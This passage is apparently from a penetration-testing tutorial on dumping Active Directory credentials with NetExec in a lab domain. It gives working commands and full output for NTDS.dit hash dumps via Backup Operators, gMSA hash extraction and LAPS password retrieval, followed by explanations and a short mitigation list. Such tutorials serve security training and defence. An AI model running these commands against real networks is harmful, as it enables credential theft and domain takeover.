781c2d8d857427532f8d4b669ca1bd59f08234ed5e38754d3efe2561ee9c505f9ff0ec8ed4c7f3105f667702f680f32e7dd8869068b4974679264c8
ab9b49139cd83dbad5873a324974d38e9433fdabb6078dc8fb95f29afc8e9c7f0a51c2fa80b3c5a162b4c38963597f61e56aa7ed91d084dbb1589ec
BACKUP_O ...  192.168.1.53    445    DC               $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:fa0c507fe8a8cd0ee03c
BACKUP_O ...  192.168.1.53    445    DC               dpapi_machinekey:0x58576ea692fab61163a665b33234d345a4399b2c
dpapi_userkey:0x908c1bf0d2da52d9a4904070b498c7fb99d31c10
BACKUP_O ...  192.168.1.53    445    DC               NL$KM:b6626278756209ef997e6a90ed81d060c83fff18956ed26fddbf4d52c2daf
SMB         192.168.1.53    445    DC               [+] ignite.local\Administrator:32196b56ffe6f45e294117b91a83bf38 (Pw
BACKUP_O ...  192.168.1.53    445    DC               [*] Dumping NTDS ...
SMB         192.168.1.53    445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull.
SMB         192.168.1.53    445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e
SMB         192.168.1.53    445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7
SMB         192.168.1.53    445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7be0b026595a75fb4eafb81
SMB         192.168.1.53    445    DC               raj:1103:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbde
SMB         192.168.1.53    445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:fa0c507fe8a8cd0ee03c08df5
```

Why This Matters:

Backup Operators have the ability to bypass file system permissions for backup and restore operations. Even without admin rights, a user in this group can:

- Extract the **dit** database
- Access **SAM** and **SYSTEM** hives
- Bypass certain system protections

This makes a low-privilege user in the **Backup Operators** group a significant **domain takeover** vector.

***Note**: Backup Operators are a high-risk group in misconfigured AD setups and should be treated as privileged, with regular membership audits.*

Dumping NTDS.dit Using an Authenticated User

nxc smb 192.168.1.53 -u yashika -p Password@1 --ntds
This command uses **NetExec** to dump the **NTDS.dit** file. This file contains critical Active Directory data such as **usernames**, **NTLM password hashes**, **group memberships**, and **domain trust details**. NetExec automates the process by using **Volume Shadow Copy** and exporting the **SYSTEM hive** to decrypt the hashes.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.53 -u yashika -p Password@1 --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the
SMB         192.168.1.53    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:ignite.local)
SMB         192.168.1.53    445    DC               [+] ignite.local\yashika:Password@1
SMB         192.168.1.53    445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_d
SMB         192.168.1.53    445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.1.53    445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a
SMB         192.168.1.53    445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:
SMB         192.168.1.53    445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7be0b026595a75fb4eafb8149efc0919:
SMB         192.168.1.53    445    DC               raj:1103:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB         192.168.1.53    445    DC               yashika:1104:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e0
SMB         192.168.1.53    445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:fa0c507fe8a8cd0ee03c08df5dd1e476:::
SMB         192.168.1.53    445    DC               [+] Dumped 6 NTDS hashes to /root/.nxc/logs/ntds/DC_192.168.1.53_2025-05-22_1
SMB         192.168.1.53    445    DC               [*] To extract only enabled accounts from the output file, run the following
SMB         192.168.1.53    445    DC               [*] cat /root/.nxc/logs/ntds/DC_192.168.1.53_2025-05-22_165120.ntds | grep -i
SMB         192.168.1.53    445    DC               [*] grep -iv disabled /root/.nxc/logs/ntds/DC_192.168.1.53_2025-05-22_165120.
```

Why This Matters:

NTDS.dit is essential for attackers in a Windows domain. Extracting it allows for **offline cracking of domain hashes**, **Pass-the-hash** attacks, and provides **full control** over all domain users, including **administrators** and **service accounts**, making it a key step in red team operations or APT engagements.

***Note**: The NTDS.dit dump enables domain-wide credential exfiltration, allowing attackers to crack weak hashes, reuse them in **Pass-the-Hash** attacks, or forge **Golden Tickets** with **krbtgt** credentials.*

Extract gMSA Credentials

nxc smb 192.168.1.53 -u komal -p Passwor@1 –gmsa
This command uses **NetExec** to enumerate **Group Managed Service Accounts (gMSAs)** from Active Directory, retrieving their **account names**, **Kerberos keys** (plaintext or hashes), and related metadata if permissions allow.

```
┌──(root㉿kali)-[~]
└─# nxc ldap 192.168.1.53 -u komal -p Password@1 --gmsa

LDAP        192.168.1.53    389    DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:ignite.loc
LDAPS       192.168.1.53    636    DC               [+] ignite.local\komal:Password@1
LDAPS       192.168.1.53    636    DC               [*] Getting GMSA Passwords
LDAPS       192.168.1.53    636    DC               Account: MyGMSA$              NTLM: 67cf98d9947a05c4ffd8c507e0d1b9b8
```

Why This Matters:

Dumping a gMSA's secret lets attackers **impersonate the account**, gain **lateral movement**, and **authenticate to services** like MSSQL or IIS for further internal attacks.

Retrieve LAPS Password via NetExec (nxc)

nxc smb 192.168.1.53 -u komal -p Passwor@1 -M laps

This command uses NetExec's **-M laps module** to target **Microsoft LAPS** (Local Administrator Password Solution), which stores unique local admin passwords in Active Directory. Specifically, It attempts to query the **ms-Mcs-AdmPwd** attribute of computer accounts to retrieve the current local admin password.

```
┌──(root㉿kali)-[~]
└─# nxc ldap 192.168.1.53 -u komal -p Password@1 -M laps

LDAP        192.168.1.53    389    DC              [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:ignite.loc
LDAP        192.168.1.53    389    DC              [+] ignite.local\komal:Password@1
LAPS        192.168.1.53    389    DC              [*] Getting LAPS Passwords
LAPS        192.168.1.53    389    DC              Computer:MSEDGEWIN10$ User:                Password:N02GC}/!M&D8b2
```

Why This Matters:

If successful, it provides **local admin access** to target machines using their LAPS-managed password. It enables **privilege escalation** and **lateral movement** across the network via **SMB**, **PSExec**, **WinRM**, etc., effectively granting full control over the machine.

Would like to learn more about credential dumping. Please see the information provided here.

Mitigation

- **Segregate SMB access**: Especially remote registry and file share access for low-privilege accounts.
- **Monitor access**: Alert on LSA, SAM, or registry accesses via SMB.
- **Limit stored credentials**: Encourage disabling auto-login and removing saved sessions in apps.
- **Restrict roles**: Minimize Backup Operator and gMSA membership.
- **Validate file access**: Detect unusual WinSCP, PuTTY, VNC config access patterns.

Author: MD Aslam drives security excellence and mentors teams to strengthen security across products, networks, and organizations as a dynamic Information Security leader. Contact **here**